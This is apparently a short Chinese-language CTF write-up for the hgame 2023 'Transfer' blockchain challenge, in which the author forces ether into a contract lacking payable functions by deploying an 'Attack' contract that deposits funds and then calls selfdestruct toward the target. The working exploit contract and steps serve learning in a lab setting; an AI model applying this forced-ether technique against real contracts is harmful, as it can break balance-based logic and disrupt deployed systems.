2023 hgame趣題——1

App1e_Tree發表於2023-01-21

hgame 2023 week2 Transfer

借hgame開始入門學習自己一直想接觸的Blockchain方向,在四周的比賽時間內會記錄hgame中有趣的問題,Crypto方向等a掉四周的題目一起放出來

原始碼:

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.7;

contract Transfer{
    constructor() {}

    function isSolved() public view returns(bool) {
        return address(this).balance >= 0.5 ether;
    }
}

需要使得balance的值≥0.5,這裡使用合約自毀函式selfdestruct,傳入payable address型別引數,自毀後該合約餘額全部傳入引數地址中
exp:

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.7;

contract Attack{
    uint public balance = 0;

    function destruct(address payable _to) external payable {
        selfdestruct(_to);
    }
    
    function deposit() external payable {
        balance += msg.value;
    }

}


編譯後順序執行deposit destruct即可

第一道成功解出的Blockchain

相關文章